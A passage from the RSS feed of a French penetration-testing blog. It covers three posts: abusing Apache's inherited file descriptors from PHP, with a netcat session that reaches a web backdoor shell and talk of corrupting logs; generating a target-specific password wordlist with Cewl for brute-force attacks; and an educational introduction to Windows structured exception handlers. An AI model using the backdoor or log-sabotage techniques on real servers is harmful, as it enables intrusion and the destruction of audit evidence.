                    <span style="color: #b1b100;">else</span>
                        <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot; %d &quot;</span><span style="color: #339933;">,</span>count<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                <span style="color: #009900;">&#125;</span>
                <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #009900;">&#125;</span>                
        <span style="color: #009900;">&#125;</span>
    <span style="color: #009900;">&#125;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Déterminer clairement quel est le fichier de log ouvert à partir d&#8217;un descripteur de fichier reste difficile, on obtient facilement l&#8217;inoeud (man fstat ) mais il reste à trouver le ou les répertoires qui possédent cet inoeud, et avec les droits Apache, on aura pas forcément ceux nécessaires pour ouvrir lesdits répertoires.</p>
<p>J&#8217;étais parti pour faire un monstrueux log wiper, mais malheureusement le descripteur de fichier est ouvert en <em>Write Only</em> et il semble impossible de changer ce mode en <em>Lecture / Ecriture</em> sur un déscripteur de fichier ( man fcntl )&#8230; On pourra quand même bien corrompre les fichiers de logs ou exploser la partition /log (voire / si on a affaire à <strong>un admin level 70</strong> ).</p>
<p>Pas grave, on peut faire des trucs beaucoup plus intéressants grâce aux descripteurs de socket, on peut voir <a href="http://hackerdom.ru/~dimmo/phpexpl.c">ici</a> une preuve de concept monstrueuse que j&#8217;ai découverte sur <a href="http://bugs.php.net/bug.php?id=38915">un bug report de php.net</a>. Le script PHP hijack le socket en écoute sur le port 80, écoute à sa place et intercepte toutes les requêtes ! À la fin du bug report on peut lire que le bug est corrigé, pour ma part il est toujours actif sur une Ubuntu à jour.</p>
<p>La meilleure utilisation de cette vulnérabilité reste la backdoor PHP <a href="http://pentestmonkey.net/tools/php-findsock-shell/">find-sock-shell</a> de pentestmonkey. Un simple netcat sur le port 80 et on a bon petit shell bien user friendly, beaucoup plus pratique qu&#8217;une banale <a href="http://www.google.fr/search?source=ig&#038;hl=fr&#038;rlz=&#038;=&#038;q=r57shell+%22your+ip%22&#038;btnG=Recherche+Google&#038;meta=lr%3D&#038;aq=f&#038;oq=">r57shell</a> ou autre <a href="http://www.google.fr/search?source=ig&#038;hl=fr&#038;rlz=&#038;=&#038;q=intitle%3AC99Shell+v.+1.0+pre-release+%2Buname&#038;btnG=Recherche+Google&#038;meta=lr%3D&#038;aq=f&#038;oq=">c99</a>.</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">$ nc -v target 80
target [10.0.0.1] 80 (http) open
GET /php-findsock-shell.php HTTP/1.0
&nbsp;
sh-3.2$ id
uid=80(apache) gid=80(apache) groups=80(apache)
sh-3.2$
... you now have an interactive shell ...</pre></div></div>

<p>Longue vie à PHP.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.indahax.com/pentest/apache-php-file-descriptor/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Un dictionnaire ciblé pour les attaques bruteforce</title>
		<link>http://www.indahax.com/pentest/dictionnaire-social-engineering</link>
		<comments>http://www.indahax.com/pentest/dictionnaire-social-engineering#comments</comments>
		<pubDate>Tue, 01 Dec 2009 09:42:40 +0000</pubDate>
		<dc:creator>Pierre</dc:creator>
				<category><![CDATA[Pentest]]></category>
		<category><![CDATA[attaque par dictionnaire]]></category>
		<category><![CDATA[bruteforce]]></category>
		<category><![CDATA[bruteforce http]]></category>
		<category><![CDATA[dictionnaire]]></category>
		<category><![CDATA[hydra]]></category>
		<category><![CDATA[information gathering]]></category>
		<category><![CDATA[medusa]]></category>
		<category><![CDATA[recherche d'information]]></category>
		<category><![CDATA[social engineering]]></category>
		<category><![CDATA[worldlist]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=435</guid>
		<description><![CDATA[Aujourd&#8217;hui je vais vous présenter rapidement un petit tool sympa pour la recherche d&#8217;informations : Cewl. Il permet de générer un dictionnaire à partir d&#8217;un site. Si par exemple vous auditez un site spécialisé dans un certain domaine, vous vous retrouvez avec une wordlist comportant tout le jargon du domaine en question&#8230; Ça peut toujours [...]]]></description>
			<content:encoded><![CDATA[<p>Aujourd&#8217;hui je vais vous présenter rapidement un petit tool sympa pour la recherche d&#8217;informations : <a href="http://www.digininja.org/projects/cewl.php">Cewl</a>. Il permet de <strong>générer un dictionnaire</strong> à partir d&#8217;un site. Si par exemple vous auditez un site spécialisé dans un certain domaine, vous vous retrouvez avec une <strong>wordlist</strong> comportant tout le jargon du domaine en question&#8230; Ça peut toujours permettre de cracker quelques mots de passe supplémentaires <img src='http://www.indahax.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <span id="more-435"></span></p>
<p>Dans le même genre je connaissais <a href="http://www.remote-exploit.org/codes_wyd.html">wyd.pl</a> mais en beaucoup moins pratique, car il fallait faire un script pour télécharger les sources HTML, alors qu&#8217;avec Cewl tout est fait en une seule ligne de commande (même s&#8217;il faudra faire un peu le ménage à coup de grep/diff/comm).</p>
<p>Le tool extrait également des adresses emails ainsi que les meta data des fichiers Doc et PDF (un peu comme <a href="http://www.edge-security.com/metagoofil.php">metagoofil</a> et <a href="http://www.edge-security.com/theHarvester.php">theharverster</a> qui utilise les moteurs de recherche).</p>
<p>Bon voici comment ça marche :</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">pierre@linux:/pentest/ig/cewl$ ./cewl.rb -w /tmp/wordlist.txt -d 1 -m 5 http://www.indahax.com
pierre@linux:/pentest/ig/cewl$ tail /tmp/wordlist.txt 
whereis
which
win32
windows
wordpress
write
wrote
yahoo
yopmail
zombie</pre></div></div>

<p>Facile non ? Bon j&#8217;ai rajouté une option max_word_length dans le script car je me retrouvais parfois avec des mots useless d&#8217;une longueur > 20.</p>
<p>Pour les feignants(noob?) comme moi qui ne jurent que par <em>apt-get</em>, les librairies nécessaires pour faire fonctionner le script ne sont pas dans les dépots. Il faut y aller à coup de <em>gem install lib_ruby</em>, elles sont installées dans <em>/var/lib/gems/1.8/gems/nom_de_la_lib/lib/</em> alors que le path des librairies ruby est <em>/usr/lib/ruby/1.8/nom_de_la_lib</em> sur Ubuntu.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.indahax.com/pentest/dictionnaire-social-engineering/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Introduction au Structured Exception Handler</title>
		<link>http://www.indahax.com/reverse/structured-exception-handler</link>
		<comments>http://www.indahax.com/reverse/structured-exception-handler#comments</comments>
		<pubDate>Thu, 19 Nov 2009 15:38:44 +0000</pubDate>
		<dc:creator>Pierre</dc:creator>
				<category><![CDATA[Reverse]]></category>
		<category><![CDATA[buffer overflow]]></category>
		<category><![CDATA[programmation]]></category>
		<category><![CDATA[seh]]></category>
		<category><![CDATA[structured exception handler]]></category>
		<category><![CDATA[win32]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=5</guid>
		<description><![CDATA[Bon, c&#8217;est un veil article que j&#8217;avais écrit lorsque j&#8217;étudiais les buffer overflow sous Windows, il devait traiter des structured exception handler, de leur exploitation dans les débordements de tampon et les nouvelles protections mises au niveau du compilateur (Safe SEH). Je devais finir cet article un jour, mais je pense que ce jour n&#8217;arrivera [...]]]></description>
			<content:encoded><![CDATA[<p>Bon, c&#8217;est un veil article que j&#8217;avais écrit lorsque j&#8217;étudiais les <strong>buffer overflow</strong> sous Windows, il devait traiter des <strong>structured exception handler</strong>, de leur exploitation dans les <strong>débordements de tampon</strong> et les nouvelles protections mises au niveau du compilateur (Safe SEH). Je devais finir cet article un jour, mais je pense que ce jour n&#8217;arrivera jamais, alors je vais déjà lâcher cette <strong>introduction au SEH</strong> qui aidera peut être un pauvre internaute perdu sur Google. Attention ça peut donner mal au crane.</p>
<p><span id="more-5"></span></p>
<ol>
<li><span style="text-decoration: underline;"><strong>C&#8217;est quoi un SEH ?</strong></span></li>
</ol>
<p>C&#8217;est un gestionnaire d&#8217;exception qui permet au programmeur de gérer une exception lui même plutôt que de laisser le programme le faire (ce qui aboutit généralement à un ExitProcess() ). Concrètement ils sont représentés en C par les instructions __try / __except / __finally. Parmi les exceptions on peut distinguer :</p>
<ul>
<li><strong>Les exceptions materielles</strong> : typiquement un <em>ACCESS_VIOLATION</em> ou <em>DIVISION_BY_ZERO</em>, c&#8217;est le style d&#8217;exception que l&#8217;on rencontre le plus souvent.</li>
<li><strong>Les exceptions logicielles</strong> : c&#8217;est le programmeur lui même qui créé ce type d&#8217;exception, il les déclenche à l&#8217;aide d&#8217;une fonction <a href="http://msdn.microsoft.com/en-us/library/het71c37(VS.80).aspx" target="_blank">RaiseException()</a> . Un programmeur peut par exemple créer une exception NOT_ENOUGH_MEMORY lorsqu&#8217;il n&#8217;arrive plus à allouer de mémoire.</li>
</ul>
<p>Un SEH est responsable d&#8217;une portion de code sur laquelle il peut intercepter des exceptions. Dans cette section de code il peut également y avoir d&#8217;autre SEH qui gère eux aussi d&#8217;autre portion de code.</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">SEH1[
  //code protégé par SEH1
  SEH2[
    //code protégé par SEH2, SEH1
    SEH3[
      ...
    ]
  ]
]</pre></div></div>

<p>Donc dans un programme on a pas un SEH mais plusieurs, et à différent niveau, lorsqu&#8217;un SEH ne gère pas une exception il la passe au SEH du niveau supérieur. En mémoire ils sont représentés sous forme d&#8217;une liste chainée dans la pile (on verra çà plus en détail après).</p>
<p><strong>Que se passe-t-il lorsqu&#8217;une exception est déclenchée ?</strong></p>
<p>Le système va passer en mode noyau, il va effectuer quelques opérations notamment un dump des  registres du processeur ( le contexte ) qu&#8217;il va placer sur la pile du thread. Il repasse ensuite en mode utilisateur dans la fonction <a href="http://www.nynaeve.net/?p=201">KiUserExceptionDispatcher()</a> de ntdll.dll.</p>
<p>Si le processus est en cours de débgage le programme va passer la main au débuggeur qui va lui même gérer l&#8217;exception. S&#8217;il n&#8217;y a pas de débuggeur, ou qu&#8217;il ne gère pas l&#8217;erreur, l&#8217;exception va être retransmise au premier SEH, c&#8217;est à dire celui qui est le plus proche de là où a été générée l&#8217;exception. Ce gestionnaire va alors regarder s&#8217;il est capable de gérer l&#8217;exception :</p>
<ul>
<li>S&#8217;il en est capable, le SEH fait alors son traitement, par exemple il peut essayer d&#8217;obtenir des informations sur la cause de l&#8217;erreur pour générer des informations utiles au débuggage, ou bien il peut choisir d&#8217;essayer de corriger l&#8217;erreur par modification de variable, des registres&#8230; Dans tous les cas il pourra choisir de reprendre l&#8217;exécution là où l&#8217;erreur à eu lieu ou bien après la portion de code qu&#8217;il protège.</li>
<li>S&#8217;il n&#8217;est pas capable de la gérer il la passe alors au SEH du niveau du dessus et ainsi de suite jusqu&#8217;à atteindre le dernier SEH.</li>
</ul>
<p>Le comportement du dernier SEH peut dépendre des logiciels que vous avez installés sous Windows, mais sur un Windows par défaut, il va créer une boite de dialogue avec quelques informations sur l&#8217;état des registres et faire un appel à ExitProcess() pour quitter l&#8217;application. Si vous avez installé un debuggeur, Windows vous proposera de lancer le débuggeur Just In Time&#8230;</p>
<ol>
<li><strong><span style="text-decoration: underline;">Au niveau assembleur</span></strong></li>
</ol>
<p>Les SEH sont stockés dans la pile sous forme d&#8217;une liste chainée. La structure d&#8217;un SEH est de la forme :</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">_EXCEPTION_REGISTRATION struc
     prev    dd      ?
     handler dd      ?
 _EXCEPTION_REGISTRATION ends</pre></div></div>

<p><em>prev</em> représente un pointeur sur le précédent SEH et <em>handler</em> est un pointeur vers la fonction qui va être appelée lorsqu&#8217;une exception sera levé.</p>
<p>Le début de cette liste chainée est stocké dans la TEB (Thread Environnement Block) dans le registre de segment fs en fs:[0]. Cela signifie également qu&#8217;une liste de SEH est propre à un thread et non à un processus.</p>
<p><img title="SEH en mémoire" src="images/seh1.JPG" alt="Les SEH en mémoire" /></p>
<p>fs:[0] pointe toujours vers le dernier SEH installé,c&#8217;est le premier qui sera appelé en cas d&#8217;exception.</p>
<p>Le premier SEH installé est différencié des autres par son pointeur prev qui a la valeur 0xFFFFFFFF, il est mis en place à la création du processus (dans BaseProcessStart ) et avant l&#8217;entrée dans le main()/WinMain() . Si une exception est déclenchée et qu&#8217;aucun SEH n&#8217;a géré cette exception, alors ce dernier SEH va appeler la fonction UnhandledExceptionFilter() . C&#8217;est cette fonction qui créé la boite de dialogue avec les infos sur les registres ou qui propose de lancer le debugeur en dernier recours (Le fameux Just In Time Debugging ) . Il est possible de modifier le comportement de ce seh en appelant la fonction <a href="http://msdn.microsoft.com/en-us/library/ms680634(VS.85).aspx">SetUnhandledExceptionFilter()</a> .</p>
<p>Pour mettre en place un SEH en assembleur on peut procéder de cette manière :</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">; adresse du handler</span>
<span style="color: #00007f; font-weight: bold;">push</span> handler
<span style="color: #666666; font-style: italic;">; adresse de la structure SEH précédente</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">fs</span><span style="color: #339933;">:</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #0000ff;">0</span><span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #666666; font-style: italic;">; fait pointer fs:[0] vers notre nouveau SEH</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">fs</span><span style="color: #339933;">:</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #0000ff;">0</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span><span style="color: #00007f;">esp</span>
<span style="color: #666666; font-style: italic;">; ici le code protégé par le seh</span>
<span style="color: #666666; font-style: italic;">; ...</span>
&nbsp;
<span style="color: #666666; font-style: italic;">;on enléve le SEH</span>
<span style="color: #00007f; font-weight: bold;">pop</span> <span style="color: #00007f;">fs</span><span style="color: #339933;">:</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #0000ff;">0</span><span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #00007f; font-weight: bold;">add</span> <span style="color: #00007f;">esp</span><span style="color: #339933;">,</span><span style="color: #0000ff;">4</span>
<span style="color: #00007f; font-weight: bold;">ret</span>
&nbsp;
<span style="color: #666666; font-style: italic;">; notre handler</span>
handler<span style="color: #339933;">:</span>
<span style="color: #666666; font-style: italic;">; ...</span></pre></div></div>

<p><strong> Une fois dans le handler </strong><br />
Lorsque le handler d&#8217;un SEH est appelé, des informations concernant l&#8217;exception sont mis en place sur la pile :</p>
<table border="0">
<tbody>
<tr>
<td>ESP + 0&#215;4</td>
<td><a href="http://msdn.microsoft.com/en-us/library/aa363082(VS.85).aspx">EXCEPTION_RECORD</a></td>
</tr>
<tr>
<td>ESP + 0&#215;8</td>
<td>Le SEH</td>
</tr>
<tr>
<td>ESP + 0xC</td>
<td>CONTEXT (cf WinNT.h)</td>
</tr>
</tbody>
</table>
<p>La structure <em>EXCEPTION_RECORD</em> contient des informations sur l&#8217;exception comme :</p>
<ul>
<li>Le code de l&#8217;exception (ACCESS_VIOLATION, etc.)</li>
<li>Les flags : par exemple ils permettent de savoir si c&#8217;est une exception non continuable, si on est dans l&#8217;appel du stack unwinding (2éme appel du handler cf après)&#8230;</li>
<li>L&#8217;adresse où a eu lieu l&#8217;exception.</li>
</ul>
<p>C&#8217;est à partir de cette structure que le handler va pouvoir déterminer s&#8217;il a la capacité de gérer une exception.</p>
<p>La structure <em>CONTEXT</em> permet d&#8217;avoir des informations sur l&#8217;état des registres lorsque l&#8217;exception a eu lieu, c&#8217;est cette structure qu&#8217;il faut modifier si on veut reprendre l&#8217;exécution à un autre endroit en modifiant EIP.</p>
<p>Et enfin un pointeur vers le SEH que l&#8217;on avait mis sur la pile pour garder la portion de code où a eu lieu l&#8217;exception. Le fait d&#8217;avoir un pointeur vers ce SEH signifie que l&#8217;on peut construire un SEH personnalisé afin d&#8217;y intégrer des informations supplémentaires. Par exemple, on pourrait avoir besoin d&#8217;avoir une adresse pour reprendre l&#8217;exécution à un endroit sûre. Voici un exemple de code qui exploite ce système de SEH étendue :</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #0000ff;">.386</span>                      <span style="color: #666666; font-style: italic;">; force 32 bit code</span>
<span style="color: #000000; font-weight: bold;">.model</span> <span style="color: #000000; font-weight: bold;">flat</span><span style="color: #339933;">,</span> <span style="color: #000000; font-weight: bold;">stdcall</span>      <span style="color: #666666; font-style: italic;">; memory model &amp;amp; calling convention</span>
<span style="color: #000000; font-weight: bold;">option</span> <span style="color: #000000; font-weight: bold;">casemap</span> <span style="color: #339933;">:</span><span style="color: #000000; font-weight: bold;">none</span>      <span style="color: #666666; font-style: italic;">; case sensitive</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">include</span> <span style="color: #000000; font-weight: bold;">c</span><span style="color: #339933;">:</span>\masm32\<span style="color: #000000; font-weight: bold;">include</span>\windows<span style="color: #339933;">.</span><span style="color: #00007f; font-weight: bold;">inc</span>
&nbsp;
MYSEH <span style="color: #000000; font-weight: bold;">STRUCT</span>
	prev		<span style="color: #000000; font-weight: bold;">DWORD</span> ?
	handler	<span style="color: #000000; font-weight: bold;">DWORD</span> ?
	safeeip	<span style="color: #000000; font-weight: bold;">DWORD</span> ?
MYSEH <span style="color: #000000; font-weight: bold;">ENDS</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">.code</span>
start<span style="color: #339933;">:</span>
&nbsp;
main <span style="color: #000000; font-weight: bold;">PROC</span>
<span style="color: #000000; font-weight: bold;">assume</span> <span style="color: #00007f;">fs</span><span style="color: #339933;">:</span><span style="color: #000000; font-weight: bold;">nothing</span>
&nbsp;
<span style="color: #666666; font-style: italic;">; on mets en place un SEH étendu</span>
<span style="color: #00007f; font-weight: bold;">push</span> safeip			<span style="color: #666666; font-style: italic;">; notre champ supplémentaire safeeip</span>
<span style="color: #00007f; font-weight: bold;">push</span> handler		<span style="color: #666666; font-style: italic;">; le handler</span>
<span style="color: #00007f; font-weight: bold;">push</span> <span style="color: #00007f;">fs</span><span style="color: #339933;">:</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #0000ff;">0</span><span style="color: #009900; font-weight: bold;">&#93;</span>			<span style="color: #666666; font-style: italic;">; l'adresse du SEH suivant</span>
&nbsp;
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">fs</span><span style="color: #339933;">:</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #0000ff;">0</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span><span style="color: #00007f;">esp</span>		<span style="color: #666666; font-style: italic;">; on installe notre seh</span>
&nbsp;
<span style="color: #00007f; font-weight: bold;">xor</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span><span style="color: #00007f;">eax</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">eax</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span><span style="color: #00007f;">eax</span>		<span style="color: #666666; font-style: italic;">; on génére un ACCESS_VIOLATION</span>
<span style="color: #00007f; font-weight: bold;">jmp</span> endx
&nbsp;
handler<span style="color: #339933;">:</span>
<span style="color: #666666; font-style: italic;">; esp == ret eip</span>
<span style="color: #666666; font-style: italic;">; esp + 0x04 == EXCEPTION_RECORD*</span>
<span style="color: #666666; font-style: italic;">; esp + 0x08 == MYSEH*</span>
<span style="color: #666666; font-style: italic;">; esp + 0x0C == CONTEXT</span>
&nbsp;
<span style="color: #666666; font-style: italic;">; est ce un ACCESS_VIOLATION ?</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #339933;">+</span><span style="color: #0000ff;">04h</span><span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #00007f; font-weight: bold;">cmp</span> <span style="color: #009900; font-weight: bold;">&#40;</span>EXCEPTION_RECORD <span style="color: #000000; font-weight: bold;">PTR</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebx</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #009900; font-weight: bold;">&#41;</span><span style="color: #339933;">.</span>ExceptionCode<span style="color: #339933;">,</span> <span style="color: #0000ff;">0C0000005h</span>
<span style="color: #00007f; font-weight: bold;">jz</span> AViol
&nbsp;
<span style="color: #666666; font-style: italic;">; si ce n'est pas un ACCESS_VIOLATION on donne la main au handler suivant</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span>ExceptionContinueSearch
<span style="color: #00007f; font-weight: bold;">ret</span>
&nbsp;
AViol<span style="color: #339933;">:</span>
<span style="color: #666666; font-style: italic;">; si c'est un ACCESS_VIOLATION on reprend l'execution en myseh.safeeip</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ebx</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #339933;">+</span><span style="color: #0000ff;">08h</span><span style="color: #009900; font-weight: bold;">&#93;</span>	<span style="color: #666666; font-style: italic;">; ecx == MYSEH</span>
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">ecx</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #339933;">+</span><span style="color: #0000ff;">0Ch</span><span style="color: #009900; font-weight: bold;">&#93;</span>	<span style="color: #666666; font-style: italic;">; ebx == CONTEXT</span>
&nbsp;
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">edx</span><span style="color: #339933;">,</span><span style="color: #009900; font-weight: bold;">&#40;</span>MYSEH <span style="color: #000000; font-weight: bold;">PTR</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ebx</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #009900; font-weight: bold;">&#41;</span><span style="color: #339933;">.</span>safeeip
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #009900; font-weight: bold;">&#40;</span>CONTEXT <span style="color: #000000; font-weight: bold;">PTR</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">ecx</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #009900; font-weight: bold;">&#41;</span><span style="color: #339933;">.</span>regEip<span style="color: #339933;">,</span> <span style="color: #00007f;">edx</span>
&nbsp;
<span style="color: #00007f; font-weight: bold;">mov</span> <span style="color: #00007f;">eax</span><span style="color: #339933;">,</span> ExceptionContinueExecution
<span style="color: #00007f; font-weight: bold;">ret</span>
&nbsp;
safeip<span style="color: #339933;">:</span>
endx<span style="color: #339933;">:</span>
<span style="color: #666666; font-style: italic;">; on enléve le SEH et restaure l'ancien</span>
<span style="color: #00007f; font-weight: bold;">pop</span> <span style="color: #00007f;">fs</span><span style="color: #339933;">:</span><span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #0000ff;">0</span><span style="color: #009900; font-weight: bold;">&#93;</span>
<span style="color: #00007f; font-weight: bold;">add</span> <span style="color: #00007f;">esp</span><span style="color: #339933;">,</span><span style="color: #0000ff;">8</span>
&nbsp;
<span style="color: #00007f; font-weight: bold;">ret</span>
&nbsp;
main <span style="color: #000000; font-weight: bold;">endp</span>
<span style="color: #000000; font-weight: bold;">end</span> start</pre></div></div>

<p>Le compilateur windows utilise ce système de SEH étendue en réalisant une structure beaucoup plus complexe que le <em>EXCEPTION_REGISTRATION</em> vu au début.</p>
<p><strong> The stack unwinding </strong></p>
<p>En réalité le handler d&#8217;un SEH qui ne gère pas une exception doit être appelé une seconde fois. Ce deuxième appel est déclenché par le handler qui a décidé de gérer l&#8217;exception, il va reparcourir la liste des SEH depuis le début et exécuter une deuxième fois le handler de chaque SEH qui le précède, en rajoutant le flag <em>EH_UNWINDING</em> au niveau des Exceptions Flag de la structure <em>EXCEPTION_RECORD</em> pour que les handlers puissent différencier les 2 appels.</p>
<p>Ici l&#8217;action est bien déclenchée par le handler qui gère l&#8217;exception et non par le système, c&#8217;est à dire que c&#8217;est au programmeur d&#8217;implémenter cette fonctionnalité. Cela peut être fait en appelant la fonction <a href="http://msdn.microsoft.com/en-us/library/ms680609(VS.85).aspx">RtlUnwind()</a> (cf <a href="http://www.jorgon.freeserve.co.uk/Except/Except.htm#St">l&#8217;article</a> de J. Gorgon pour plus d&#8217;info ) .</p>
<p>Le rôle du stack unwinding est de nettoyer les variables de la portion de code qui a déclenché l&#8217;exception, par exemple c&#8217;est à ce moment qu&#8217;il est utile de fermer les handles, libérer la mémoire&#8230; Concrètement ce deuxième appel correspond au bloc __finaly en C.</p>
<p>De plus, si l&#8217;exécution reprend à partir d&#8217;un SEH de niveau supérieur, alors le stack unwinding est également responsable d&#8217;enlever de la liste des SEH tout ceux qui ont été mis après ce SEH (c&#8217;est à dire les SEH qui ne porte plus sur le code courant ).</p>
<p><br/><br />
Voilà c&#8217;est tout pour aujourd&#8217;hui, par la suite nous verrons comment sont implémentés les SEH dans les compilateurs, comment les exploiter lors d&#8217;un débordement de tampon et les nouvelles protéctions misent en place par Windows (Safe SEH).</p>
<p>Réferences :</p>
<p>http://www.microsoft.com/msj/0197/Exception/Exception.aspx</p>
<p>http://msdn.microsoft.com/en-us/library/swezty51(VS.80).aspx</p>
]]></content:encoded>
			<wfw:commentRss>http://www.indahax.com/reverse/structured-exception-handler/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>
